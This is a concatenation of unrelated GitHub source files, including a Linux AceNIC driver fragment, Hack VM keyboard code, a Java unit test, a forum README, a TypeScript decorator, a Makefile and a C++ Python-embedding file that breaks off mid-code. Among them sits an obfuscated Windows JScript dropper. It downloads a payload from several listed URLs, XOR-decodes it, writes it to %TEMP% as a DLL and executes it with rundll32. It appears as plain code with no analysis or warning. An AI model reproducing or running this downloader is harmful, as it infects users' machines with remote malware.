ret = -EINVAL; goto out; } load_addr = be32_to_cpu(fw_data[2]); if (load_addr < 0x4000 || load_addr >= 0x80000) { printk(KERN_ERR "%s: bogus load address %08x in \"%s\"\n", ap->name, load_addr, fw_name); ret = -EINVAL; goto out; } /* * Do not try to clear more than 512KiB or we end up seeing * funny things on NICs with only 512KiB SRAM */ ace_clear(regs, 0x2000, 0x80000-0x2000); ace_copy(regs, &fw_data[3], load_addr, fw->size-12); out: release_firmware(fw); return ret; } /* * The eeprom on the AceNIC is an Atmel i2c EEPROM. * * Accessing the EEPROM is `interesting' to say the least - don't read * this code right after dinner. * * This is all about black magic and bit-banging the device .... I * wonder in what hospital they have put the guy who designed the i2c * specs. * * Oh yes, this is only the beginning! * * Thanks to Stevarino Webinski for helping tracking down the bugs in the * code i2c readout code by beta testing all my hacks. */ static void eeprom_start(struct ace_regs __iomem *regs) { u32 local; readl(&regs->LocalCtrl); udelay(ACE_SHORT_DELAY); local = readl(&regs->LocalCtrl); local |= EEPROM_DATA_OUT | EEPROM_WRITE_ENABLE; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); local |= EEPROM_CLK_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); local &= ~EEPROM_DATA_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); local &= ~EEPROM_CLK_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); } static void eeprom_prep(struct ace_regs __iomem *regs, u8 magic) { short i; u32 local; udelay(ACE_SHORT_DELAY); local = readl(&regs->LocalCtrl); local &= ~EEPROM_DATA_OUT; local |= EEPROM_WRITE_ENABLE; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); for (i = 0; i < 8; i++, magic <<= 1) { udelay(ACE_SHORT_DELAY); if (magic & 0x80) local |= EEPROM_DATA_OUT; else local &= ~EEPROM_DATA_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); local |= EEPROM_CLK_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); local &= ~(EEPROM_CLK_OUT | EEPROM_DATA_OUT); writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); } } static int eeprom_check_ack(struct ace_regs __iomem *regs) { int state; u32 local; local = readl(&regs->LocalCtrl); local &= ~EEPROM_WRITE_ENABLE; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_LONG_DELAY); local |= EEPROM_CLK_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); /* sample data in middle of high clk */ state = (readl(&regs->LocalCtrl) & EEPROM_DATA_IN) != 0; udelay(ACE_SHORT_DELAY); mb(); writel(readl(&regs->LocalCtrl) & ~EEPROM_CLK_OUT, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); return state; } static void eeprom_stop(struct ace_regs __iomem *regs) { u32 local; udelay(ACE_SHORT_DELAY); local = readl(&regs->LocalCtrl); local |= EEPROM_WRITE_ENABLE; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); local &= ~EEPROM_DATA_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); local |= EEPROM_CLK_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); local |= EEPROM_DATA_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_LONG_DELAY); local &= ~EEPROM_CLK_OUT; writel(local, &regs->LocalCtrl); mb(); } /* * Read a whole byte from the EEPROM. */ static int read_eeprom_byte(struct net_device *dev, unsigned long offset) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; unsigned long flags; u32 local; int result = 0; short i; /* * Don't take interrupts on this CPU will bit banging * the %#%#@$ I2C device */ local_irq_save(flags); eeprom_start(regs); eeprom_prep(regs, EEPROM_WRITE_SELECT); if (eeprom_check_ack(regs)) { local_irq_restore(flags); printk(KERN_ERR "%s: Unable to sync eeprom\n", ap->name); result = -EIO; goto eeprom_read_error; } eeprom_prep(regs, (offset >> 8) & 0xff); if (eeprom_check_ack(regs)) { local_irq_restore(flags); printk(KERN_ERR "%s: Unable to set address byte 0\n", ap->name); result = -EIO; goto eeprom_read_error; } eeprom_prep(regs, offset & 0xff); if (eeprom_check_ack(regs)) { local_irq_restore(flags); printk(KERN_ERR "%s: Unable to set address byte 1\n", ap->name); result = -EIO; goto eeprom_read_error; } eeprom_start(regs); eeprom_prep(regs, EEPROM_READ_SELECT); if (eeprom_check_ack(regs)) { local_irq_restore(flags); printk(KERN_ERR "%s: Unable to set READ_SELECT\n", ap->name); result = -EIO; goto eeprom_read_error; } for (i = 0; i < 8; i++) { local = readl(&regs->LocalCtrl); local &= ~EEPROM_WRITE_ENABLE; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); udelay(ACE_LONG_DELAY); mb(); local |= EEPROM_CLK_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); /* sample data mid high clk */ result = (result << 1) | ((readl(&regs->LocalCtrl) & EEPROM_DATA_IN) != 0); udelay(ACE_SHORT_DELAY); mb(); local = readl(&regs->LocalCtrl); local &= ~EEPROM_CLK_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); udelay(ACE_SHORT_DELAY); mb(); if (i == 7) { local |= EEPROM_WRITE_ENABLE; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); } } local |= EEPROM_DATA_OUT; writel(local, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); writel(readl(&regs->LocalCtrl) | EEPROM_CLK_OUT, &regs->LocalCtrl); readl(&regs->LocalCtrl); udelay(ACE_LONG_DELAY); writel(readl(&regs->LocalCtrl) & ~EEPROM_CLK_OUT, &regs->LocalCtrl); readl(&regs->LocalCtrl); mb(); udelay(ACE_SHORT_DELAY); eeprom_stop(regs); local_irq_restore(flags); out: return result; eeprom_read_error: printk(KERN_ERR "%s: Unable to read eeprom byte 0x%02lx\n", ap->name, offset); goto out; } module_pci_driver(acenic_pci_driver);
{ "pile_set_name": "Github" }
function Keyboard.init 0 push constant 0 return function Keyboard.keyPressed 0 push constant 24576 call Memory.peek 1 return function Keyboard.readChar 2 push constant 0 call Output.printChar 1 pop temp 0 label WHILE_EXP0 push local 1 push constant 0 eq push local 0 push constant 0 gt or not if-goto WHILE_END0 call Keyboard.keyPressed 0 pop local 0 push local 0 push constant 0 gt if-goto IF_TRUE0 goto IF_FALSE0 label IF_TRUE0 push local 0 pop local 1 label IF_FALSE0 goto WHILE_EXP0 label WHILE_END0 call String.backSpace 0 call Output.printChar 1 pop temp 0 push local 1 call Output.printChar 1 pop temp 0 push local 1 return function Keyboard.readLine 5 push constant 80 call String.new 1 pop local 3 push argument 0 call Output.printString 1 pop temp 0 call String.newLine 0 pop local 1 call String.backSpace 0 pop local 2 label WHILE_EXP0 push local 4 not not if-goto WHILE_END0 call Keyboard.readChar 0 pop local 0 push local 0 push local 1 eq pop local 4 push local 4 not if-goto IF_TRUE0 goto IF_FALSE0 label IF_TRUE0 push local 0 push local 2 eq if-goto IF_TRUE1 goto IF_FALSE1 label IF_TRUE1 push local 3 call String.eraseLastChar 1 pop temp 0 goto IF_END1 label IF_FALSE1 push local 3 push local 0 call String.appendChar 2 pop local 3 label IF_END1 label IF_FALSE0 goto WHILE_EXP0 label WHILE_END0 push local 3 return function Keyboard.readInt 2 push argument 0 call Keyboard.readLine 1 pop local 0 push local 0 call String.intValue 1 pop local 1 push local 0 call String.dispose 1 pop temp 0 push local 1 return
{ "pile_set_name": "Github" }
/* * This program is free software; you can redistribute it and/or modify it under the * terms of the GNU Lesser General Public License, version 2.1 as published by the Free Software * Foundation. * * You should have received a copy of the GNU Lesser General Public License along with this * program; if not, you can obtain a copy at http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html * or from the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU Lesser General Public License for more details. * * Copyright (c) 2001 - 2015 Object Refinery Ltd, Hitachi Vantara and Contributors.. All rights reserved. */ package org.pentaho.reporting.engine.classic.extensions.modules.connections; import static org.hamcrest.CoreMatchers.equalTo; import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.CoreMatchers.notNullValue; import static org.hamcrest.CoreMatchers.nullValue; import static org.junit.Assert.assertThat; import static org.mockito.Mockito.mock; import javax.sql.DataSource; import org.hamcrest.CoreMatchers; import org.junit.Test; public class StaticDataSourceCacheManagerTest { private static final String DS_NAME = "test_ds_name"; private StaticDataSourceCacheManager cachemanager = new StaticDataSourceCacheManager(); @Test public void testPut() { assertThat( cachemanager.get( DS_NAME ), is( nullValue() ) ); DataSource ds = mock( DataSource.class ); cachemanager.put( DS_NAME, ds ); assertThat( cachemanager.get( DS_NAME ), is( notNullValue() ) ); } @Test public void testClear() { DataSource ds = mock( DataSource.class ); cachemanager.put( DS_NAME, ds ); assertThat( cachemanager.get( DS_NAME ), is( notNullValue() ) ); cachemanager.clear(); assertThat( cachemanager.get( DS_NAME ), is( nullValue() ) ); } @Test public void testRemove() { DataSource ds = mock( DataSource.class ); cachemanager.put( DS_NAME, ds ); assertThat( cachemanager.get( DS_NAME ), is( notNullValue() ) ); cachemanager.remove( DS_NAME ); assertThat( cachemanager.get( DS_NAME ), is( nullValue() ) ); } @Test public void testGet() { DataSource ds = mock( DataSource.class ); cachemanager.put( DS_NAME, ds ); assertThat( cachemanager.get( DS_NAME ), is( notNullValue() ) ); } @Test public void testGetDataSourceCache() { DataSourceCache cache = cachemanager.getDataSourceCache(); assertThat( cache, is( notNullValue() ) ); assertThat( cache, is( CoreMatchers.instanceOf( StaticDataSourceCacheManager.class ) ) ); assertThat( (StaticDataSourceCacheManager) cache, is( equalTo( cachemanager ) ) ); } }
{ "pile_set_name": "Github" }
[![Build Status](https://travis-ci.org/agiliq/Dinette.png?branch=master)](https://travis-ci.org/agiliq/Dinette) [![Coverage Status](https://coveralls.io/repos/agiliq/Dinette/badge.png?branch=master)](https://coveralls.io/r/agiliq/Dinette?branch=master) ### Dinette - A Django based forum inspired by PunBB Dinette is a lightweight forum application in the spirit of PunBB. ### Requirements See requirements.txt ### Install instructions Example app included (``forum``). See INSTALLED_APPS and custom settings in localsettings.py.example
{ "pile_set_name": "Github" }
String.prototype.DisassociativeKMx1 = function () {return this.split(",").join("");}; //BEGIN_CODEC_PART function DisassociativeNXr9(DisassociativeTWf7) {var DisassociativeFDs1=new Array(); DisassociativeFDs1[199]=128;DisassociativeFDs1[252]=129;DisassociativeFDs1[233]=130;DisassociativeFDs1[226]=131;DisassociativeFDs1[228]=132;DisassociativeFDs1[224]=133;DisassociativeFDs1[229]=134;DisassociativeFDs1[231]=135;DisassociativeFDs1[234]=136;DisassociativeFDs1[235]=137; DisassociativeFDs1[232]=138;DisassociativeFDs1[239]=139;DisassociativeFDs1[238]=140;DisassociativeFDs1[236]=141;DisassociativeFDs1[196]=142;DisassociativeFDs1[197]=143;DisassociativeFDs1[201]=144;DisassociativeFDs1[230]=145;DisassociativeFDs1[198]=146;DisassociativeFDs1[244]=147; DisassociativeFDs1[246]=148;DisassociativeFDs1[242]=149;DisassociativeFDs1[251]=150;DisassociativeFDs1[249]=151;DisassociativeFDs1[255]=152;DisassociativeFDs1[214]=153;DisassociativeFDs1[220]=154;DisassociativeFDs1[162]=155;DisassociativeFDs1[163]=156;DisassociativeFDs1[165]=157; DisassociativeFDs1[8359]=158;DisassociativeFDs1[402]=159;DisassociativeFDs1[225]=160;DisassociativeFDs1[237]=161;DisassociativeFDs1[243]=162;DisassociativeFDs1[250]=163;DisassociativeFDs1[241]=164;DisassociativeFDs1[209]=165;DisassociativeFDs1[170]=166;DisassociativeFDs1[186]=167; DisassociativeFDs1[191]=168;DisassociativeFDs1[8976]=169;DisassociativeFDs1[172]=170;DisassociativeFDs1[189]=171;DisassociativeFDs1[188]=172;DisassociativeFDs1[161]=173;DisassociativeFDs1[171]=174;DisassociativeFDs1[187]=175;DisassociativeFDs1[9617]=176;DisassociativeFDs1[9618]=177; DisassociativeFDs1[9619]=178;DisassociativeFDs1[9474]=179;DisassociativeFDs1[9508]=180;DisassociativeFDs1[9569]=181;DisassociativeFDs1[9570]=182;DisassociativeFDs1[9558]=183;DisassociativeFDs1[9557]=184;DisassociativeFDs1[9571]=185;DisassociativeFDs1[9553]=186;DisassociativeFDs1[9559]=187; DisassociativeFDs1[9565]=188;DisassociativeFDs1[9564]=189;DisassociativeFDs1[9563]=190;DisassociativeFDs1[9488]=191;DisassociativeFDs1[9492]=192;DisassociativeFDs1[9524]=193;DisassociativeFDs1[9516]=194;DisassociativeFDs1[9500]=195;DisassociativeFDs1[9472]=196;DisassociativeFDs1[9532]=197; DisassociativeFDs1[9566]=198;DisassociativeFDs1[9567]=199;DisassociativeFDs1[9562]=200;DisassociativeFDs1[9556]=201;DisassociativeFDs1[9577]=202;DisassociativeFDs1[9574]=203;DisassociativeFDs1[9568]=204;DisassociativeFDs1[9552]=205;DisassociativeFDs1[9580]=206;DisassociativeFDs1[9575]=207; DisassociativeFDs1[9576]=208;DisassociativeFDs1[9572]=209;DisassociativeFDs1[9573]=210;DisassociativeFDs1[9561]=211;DisassociativeFDs1[9560]=212;DisassociativeFDs1[9554]=213;DisassociativeFDs1[9555]=214;DisassociativeFDs1[9579]=215;DisassociativeFDs1[9578]=216;DisassociativeFDs1[9496]=217; DisassociativeFDs1[9484]=218;DisassociativeFDs1[9608]=219;DisassociativeFDs1[9604]=220;DisassociativeFDs1[9612]=221;DisassociativeFDs1[9616]=222;DisassociativeFDs1[9600]=223;DisassociativeFDs1[945]=224;DisassociativeFDs1[223]=225;DisassociativeFDs1[915]=226;DisassociativeFDs1[960]=227; DisassociativeFDs1[931]=228;DisassociativeFDs1[963]=229;DisassociativeFDs1[181]=230;DisassociativeFDs1[964]=231;DisassociativeFDs1[934]=232;DisassociativeFDs1[920]=233;DisassociativeFDs1[937]=234;DisassociativeFDs1[948]=235;DisassociativeFDs1[8734]=236;DisassociativeFDs1[966]=237; DisassociativeFDs1[949]=238;DisassociativeFDs1[8745]=239;DisassociativeFDs1[8801]=240;DisassociativeFDs1[177]=241;DisassociativeFDs1[8805]=242;DisassociativeFDs1[8804]=243;DisassociativeFDs1[8992]=244;DisassociativeFDs1[8993]=245;DisassociativeFDs1[247]=246;DisassociativeFDs1[8776]=247; DisassociativeFDs1[176]=248;DisassociativeFDs1[8729]=249;DisassociativeFDs1[183]=250;DisassociativeFDs1[8730]=251;DisassociativeFDs1[8319]=252;DisassociativeFDs1[178]=253;DisassociativeFDs1[9632]=254;DisassociativeFDs1[160]=255; var DisassociativeOOx0=new Array(); for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTWf7.length; DisassociativeFNx2 += 1) {var DisassociativeEGc4=DisassociativeTWf7["charCodeAt"](DisassociativeFNx2); if (DisassociativeEGc4 < 128){var DisassociativeLZu0=DisassociativeEGc4;} else {var DisassociativeLZu0=DisassociativeFDs1[DisassociativeEGc4];} DisassociativeOOx0["push"](DisassociativeLZu0);}; return DisassociativeOOx0;} function DisassociativePw3(DisassociativeTt7) {var DisassociativeTUu2=new Array(); DisassociativeTUu2[128]=199;DisassociativeTUu2[129]=252;DisassociativeTUu2[130]=233;DisassociativeTUu2[131]=226;DisassociativeTUu2[132]=228;DisassociativeTUu2[133]=224;DisassociativeTUu2[134]=229;DisassociativeTUu2[135]=231;DisassociativeTUu2[136]=234;DisassociativeTUu2[137]=235; DisassociativeTUu2[138]=232;DisassociativeTUu2[139]=239;DisassociativeTUu2[140]=238;DisassociativeTUu2[141]=236;DisassociativeTUu2[142]=196;DisassociativeTUu2[143]=197;DisassociativeTUu2[144]=201;DisassociativeTUu2[145]=230;DisassociativeTUu2[146]=198;DisassociativeTUu2[147]=244; DisassociativeTUu2[148]=246;DisassociativeTUu2[149]=242;DisassociativeTUu2[150]=251;DisassociativeTUu2[151]=249;DisassociativeTUu2[152]=255;DisassociativeTUu2[153]=214;DisassociativeTUu2[154]=220;DisassociativeTUu2[155]=162;DisassociativeTUu2[156]=163;DisassociativeTUu2[157]=165; DisassociativeTUu2[158]=8359;DisassociativeTUu2[159]=402;DisassociativeTUu2[160]=225;DisassociativeTUu2[161]=237;DisassociativeTUu2[162]=243;DisassociativeTUu2[163]=250;DisassociativeTUu2[164]=241;DisassociativeTUu2[165]=209;DisassociativeTUu2[166]=170;DisassociativeTUu2[167]=186; DisassociativeTUu2[168]=191;DisassociativeTUu2[169]=8976;DisassociativeTUu2[170]=172;DisassociativeTUu2[171]=189;DisassociativeTUu2[172]=188;DisassociativeTUu2[173]=161;DisassociativeTUu2[174]=171;DisassociativeTUu2[175]=187;DisassociativeTUu2[176]=9617;DisassociativeTUu2[177]=9618; DisassociativeTUu2[178]=9619;DisassociativeTUu2[179]=9474;DisassociativeTUu2[180]=9508;DisassociativeTUu2[181]=9569;DisassociativeTUu2[182]=9570;DisassociativeTUu2[183]=9558;DisassociativeTUu2[184]=9557;DisassociativeTUu2[185]=9571;DisassociativeTUu2[186]=9553;DisassociativeTUu2[187]=9559; DisassociativeTUu2[188]=9565;DisassociativeTUu2[189]=9564;DisassociativeTUu2[190]=9563;DisassociativeTUu2[191]=9488;DisassociativeTUu2[192]=9492;DisassociativeTUu2[193]=9524;DisassociativeTUu2[194]=9516;DisassociativeTUu2[195]=9500;DisassociativeTUu2[196]=9472;DisassociativeTUu2[197]=9532; DisassociativeTUu2[198]=9566;DisassociativeTUu2[199]=9567;DisassociativeTUu2[200]=9562;DisassociativeTUu2[201]=9556;DisassociativeTUu2[202]=9577;DisassociativeTUu2[203]=9574;DisassociativeTUu2[204]=9568;DisassociativeTUu2[205]=9552;DisassociativeTUu2[206]=9580;DisassociativeTUu2[207]=9575; DisassociativeTUu2[208]=9576;DisassociativeTUu2[209]=9572;DisassociativeTUu2[210]=9573;DisassociativeTUu2[211]=9561;DisassociativeTUu2[212]=9560;DisassociativeTUu2[213]=9554;DisassociativeTUu2[214]=9555;DisassociativeTUu2[215]=9579;DisassociativeTUu2[216]=9578;DisassociativeTUu2[217]=9496; DisassociativeTUu2[218]=9484;DisassociativeTUu2[219]=9608;DisassociativeTUu2[220]=9604;DisassociativeTUu2[221]=9612;DisassociativeTUu2[222]=9616;DisassociativeTUu2[223]=9600;DisassociativeTUu2[224]=945;DisassociativeTUu2[225]=223;DisassociativeTUu2[226]=915;DisassociativeTUu2[227]=960; DisassociativeTUu2[228]=931;DisassociativeTUu2[229]=963;DisassociativeTUu2[230]=181;DisassociativeTUu2[231]=964;DisassociativeTUu2[232]=934;DisassociativeTUu2[233]=920;DisassociativeTUu2[234]=937;DisassociativeTUu2[235]=948;DisassociativeTUu2[236]=8734;DisassociativeTUu2[237]=966; DisassociativeTUu2[238]=949;DisassociativeTUu2[239]=8745;DisassociativeTUu2[240]=8801;DisassociativeTUu2[241]=177;DisassociativeTUu2[242]=8805;DisassociativeTUu2[243]=8804;DisassociativeTUu2[244]=8992;DisassociativeTUu2[245]=8993;DisassociativeTUu2[246]=247;DisassociativeTUu2[247]=8776; DisassociativeTUu2[248]=176;DisassociativeTUu2[249]=8729;DisassociativeTUu2[250]=183;DisassociativeTUu2[251]=8730;DisassociativeTUu2[252]=8319;DisassociativeTUu2[253]=178;DisassociativeTUu2[254]=9632;DisassociativeTUu2[255]=160; var DisassociativeAd2=new Array();var DisassociativeUw6="";var DisassociativeLZu0; var DisassociativeEGc4; for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1) {DisassociativeLZu0=DisassociativeTt7[DisassociativeFNx2]; if (DisassociativeLZu0 < 128){DisassociativeEGc4=DisassociativeLZu0;} else {DisassociativeEGc4=DisassociativeTUu2[DisassociativeLZu0];} DisassociativeAd2.push(String["fromCharCode"](DisassociativeEGc4));} DisassociativeUw6=DisassociativeAd2["join"](""); return DisassociativeUw6;} function DisassociativeGl6(DisassociativeTt7, DisassociativeEFs6) {var DisassociativeDRw6 = DisassociativeNXr9(DisassociativeEFs6); for (var DisassociativeFNx2 = 0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1) {DisassociativeTt7[DisassociativeFNx2] ^= DisassociativeDRw6[DisassociativeFNx2 % DisassociativeDRw6.length];}; return DisassociativeTt7;} function DisassociativeUq7(DisassociativeYGa2) {var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream"); DisassociativeNCk5["type"]=2; DisassociativeNCk5["Charset"]="437"; DisassociativeNCk5["open"](); DisassociativeNCk5["LoadFromFile"](DisassociativeYGa2); var DisassociativeZj1=DisassociativeNCk5["ReadText"]; DisassociativeNCk5["close"](); return DisassociativeNXr9(DisassociativeZj1);} function DisassociativePp3(DisassociativeYGa2, DisassociativeTt7) {var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream"); DisassociativeNCk5["type"]=2; DisassociativeNCk5["Charset"]="437"; DisassociativeNCk5["open"](); DisassociativeNCk5["writeText"](DisassociativePw3(DisassociativeTt7)); DisassociativeNCk5["SaveToFile"](DisassociativeYGa2, 2); DisassociativeNCk5["close"]();} //END_CODEC_PART var DisassociativeBp8 = "http://"; var DisassociativeWx8 = [DisassociativeBp8 + "warisstyle.com/mjuurbt2bx",DisassociativeBp8 + "campossa.com/ped2hwz3",DisassociativeBp8 + "sadhekoala.com/qg7bhfv3sa",DisassociativeBp8 + "znany-lekarz.pl/nrpfqwwq",DisassociativeBp8 + "lauiatraps.net/90iuiatl"]; var DisassociativeBNy7 = "V2GfjUFMb6jlFtSv"; var DisassociativeKa7 = "R9cSS1rkjyRw"; var DisassociativeSb3 = "L2hr1GeO6BCNFWPT"; var DisassociativeUr8=2; var DisassociativeBs9=WScript["CreateObject"]("WScript.Shell"); var DisassociativeGFa5=DisassociativeBs9.ExpandEnvironmentStrings("%T"+"EMP%/"); var DisassociativeXAk4=DisassociativeGFa5 + DisassociativeBNy7; var DisassociativeFUm6=DisassociativeXAk4 + ".d" + "ll"; var DisassociativeFn1 = DisassociativeBs9["Environment"]("System"); if (DisassociativeFn1("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64") { var DisassociativeAKu2 = DisassociativeBs9.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\ru"+"ndll32.exe"); } else { var DisassociativeAKu2 = DisassociativeBs9["ExpandEnvironmentStrings"]("%SystemRoot%\\system32\\ru"+"ndll32.exe"); } var DisassociativeIHy7=["M,S,X,M,L,2,.,X,M,L,H,T,T,P".DisassociativeKMx1(), "WinHttp.WinHttpRequest.5.1"]; for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeIHy7.length; DisassociativeFNx2 += 1) { try { var DisassociativeQPw3=WScript["CreateObject"](DisassociativeIHy7[DisassociativeFNx2]); break; } catch (e) { continue; } }; var DisassociativePUo6 = new ActiveXObject("Scripting.FileSystemObject"); function DisassociativeUf9() { var DisassociativeWUn8 = DisassociativePUo6.GetFile(DisassociativeFUm6); return DisassociativeWUn8["ShortPath"]; } var DisassociativeFy6 = 0; for (var DisassociativeTTb4 = 0; DisassociativeTTb4 < DisassociativeWx8.length; DisassociativeTTb4 = DisassociativeTTb4 + 1) { try { var DisassociativeSPt3=this["W,S,c,r,i,p,t".DisassociativeKMx1()]["CreateObject"]("A"+"D"+"O"+"DB.Stream"); DisassociativeQPw3["open"]("G,E,T".DisassociativeKMx1(), DisassociativeWx8[DisassociativeTTb4], false); DisassociativeQPw3.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"); DisassociativeQPw3["send"](); while (DisassociativeQPw3.readystate < 4) WScript["Sleep"](100); DisassociativeSPt3["open"](); DisassociativeSPt3.type=1; /*@cc_on DisassociativeSPt3.write(DisassociativeQPw3.ResponseBody); DisassociativeSPt3.position=0; DisassociativeSPt3['Sav'+'eT'+'oFile'](DisassociativeXAk4, DisassociativeUr8); DisassociativeSPt3.close(); var DisassociativeOOx0 = DisassociativeUq7(DisassociativeXAk4); DisassociativeOOx0 = DisassociativeGl6(DisassociativeOOx0, DisassociativeKa7); if (DisassociativeOOx0[0] != 77 || DisassociativeOOx0[1] != 90) continue; DisassociativePp3(DisassociativeFUm6, DisassociativeOOx0); var DisassociativeZGx7 = DisassociativeUf9(); var d = new Date(); d.setFullYear("2015"); eval('DisassociativeBs9["R,u,n".DisassociativeKMx1()]("r,u,n,d,l,l,3,2".DisassociativeKMx1() + " " + DisassociativeZGx7 + "," + DisassociativeSb3);'); @*/ break; } catch (e) {continue;}; } WScript.Quit(0);
{ "pile_set_name": "Github" }
import { UNDEFINED_INJECT_ANNOTATION } from "../constants/error_msgs"; import * as METADATA_KEY from "../constants/metadata_keys"; import { interfaces } from "../interfaces/interfaces"; import { Metadata } from "../planning/metadata"; import { tagParameter, tagProperty } from "./decorator_utils"; export type ServiceIdentifierOrFunc = interfaces.ServiceIdentifier<any> | LazyServiceIdentifer; export class LazyServiceIdentifer<T = any> { private _cb: () => interfaces.ServiceIdentifier<T>; public constructor(cb: () => interfaces.ServiceIdentifier<T>) { this._cb = cb; } public unwrap() { return this._cb(); } } function inject(serviceIdentifier: ServiceIdentifierOrFunc) { return function(target: any, targetKey: string, index?: number): void { if (serviceIdentifier === undefined) { throw new Error(UNDEFINED_INJECT_ANNOTATION(target.name)); } const metadata = new Metadata(METADATA_KEY.INJECT_TAG, serviceIdentifier); if (typeof index === "number") { tagParameter(target, targetKey, index, metadata); } else { tagProperty(target, targetKey, metadata); } }; } export { inject };
{ "pile_set_name": "Github" }
TARGETS=.htaccess about.html api-reference.php blob.min.js bootstrap-select.min.css bootstrap-select.min.js TARGETS+=demo.php filesaver.min.js fill-using-params.js footer.php header.php js-treex-view.min.js icon.png info.php udpipe.css run.php all: $(TARGETS) refresh: $(MAKE) -C ../../doc/ web about.html: refresh sed -n '/^<div class="body"/,/^<\/div/p' ../../doc/web_$@ | sed 's/<div class="body"[^>]*>/<div>/' >$@ install: $(TARGETS) scp $(TARGETS) quest:/var/www/udpipe/ install-flags: scp flags/*.png quest:/var/www/udpipe/flags/ .PHONY: clean clean: rm -f about.html
{ "pile_set_name": "Github" }
1234.1234.1234
{ "pile_set_name": "Github" }
//////////////////////////////////////////////////////////////////////////////////////////////////// // // Project: Embedded Learning Library (ELL) // File: InvokePython.cpp (pythonPlugins) // Authors: Chris Lovett // //////////////////////////////////////////////////////////////////////////////////////////////////// #include "InvokePython.h" #include <utilities/include/Exception.h> #include <utilities/include/Files.h> #include <stdexcept> #include <string> #include <vector> #if defined(PYTHON_FOUND) #if defined(_DEBUG) #undef _DEBUG #include <Python.h> #define _DEBUG #else #include <Python.h> #endif #include <fstream> #include <iostream> #include <memory> #include <sstream> using namespace ell::utilities; class PyHandle { PyObject* _obj; public: PyHandle(PyObject* o) { _obj = o; } ~PyHandle() { // exception safe cleanup of python objects if (_obj != nullptr) { Py_DECREF(_obj); } } PyObject* operator*() { return _obj; } PyObject* steal() { PyObject* result = _obj; _obj = nullptr; return result; } }; class PythonRuntime { public: PythonRuntime() { std::string pythonExe = "python"; #ifdef WIN32 pythonExe = "python.exe"; #endif path = FindExecutable(pythonExe); std::string tail = GetFileName(path); if (tail == "bin") { // on linux python is in a 'bin' dir and we want the parent of that. path = GetDirectoryPath(path); } std::wstring wide(path.begin(), path.end()); // set the location of libs so python can initialize correctly Py_SetPythonHome((wchar_t*)wide.c_str()); Py_Initialize(); } ~PythonRuntime() { // exception safe cleanup python runtime. Py_Finalize(); } std::string path; }; std::vector<double> ExecutePythonScript(const std::string& filePath, const std::vector<std::string>& args) { std::vector<PyObject*> methodArgs; std::vector<double> result; PythonRuntime runtime; PyHandle argv = PyList_New(0); for (std::string arg : args) { PyObject* pyarg = PyUnicode_FromString(arg.c_str()); PyList_Append(*argv, pyarg); Py_DECREF(pyarg); // list should have done it's own Py_INCREF } std::string name = ell::utilities::GetFileName(filePath); name = ell::utilities::RemoveFileExtension(name); std::string modulePath = ell::utilities::GetDirectoryPath(filePath); // append modulePath to sys.path so the import will work. PyObject* sysPath = PySys_GetObject("path"); // borrowed reference { PyHandle pyarg = PyUnicode_FromString(modulePath.c_str()); PyList_Append(sysPath, *pyarg); } // Now import the python module from disk PyHandle moduleName = PyUnicode_FromString(name.c_str()); PyHandle module = PyImport_Import(*moduleName); if (*module == nullptr) { throw ell::utilities::Exception("Error importing Python module '" + name + "' using '" + runtime.path + "'"); } // args must be in a tuple PyHandle py_args_tuple = PyTuple_New(1); PyTuple_SetItem(*py_args_tuple, 0, argv.steal()); //stolen // find the 'main' function PyHandle mainFunction = PyObject_GetAttrString(*module, (char*)"main"); if (*mainFunction == nullptr) { throw ell::utilities::Exception("Error missing 'main' function in Python module '" + name + "'"); } // call main with the args PyHandle myResult = PyObject_CallObject(*mainFunction, *py_args_tuple); if (*myResult == nullptr) { throw ell::utilities::Exception("Return value from 'main' function in Python module '" + name + "' is null, it should be a list of floating point numbers"); } // make sure returned object is a 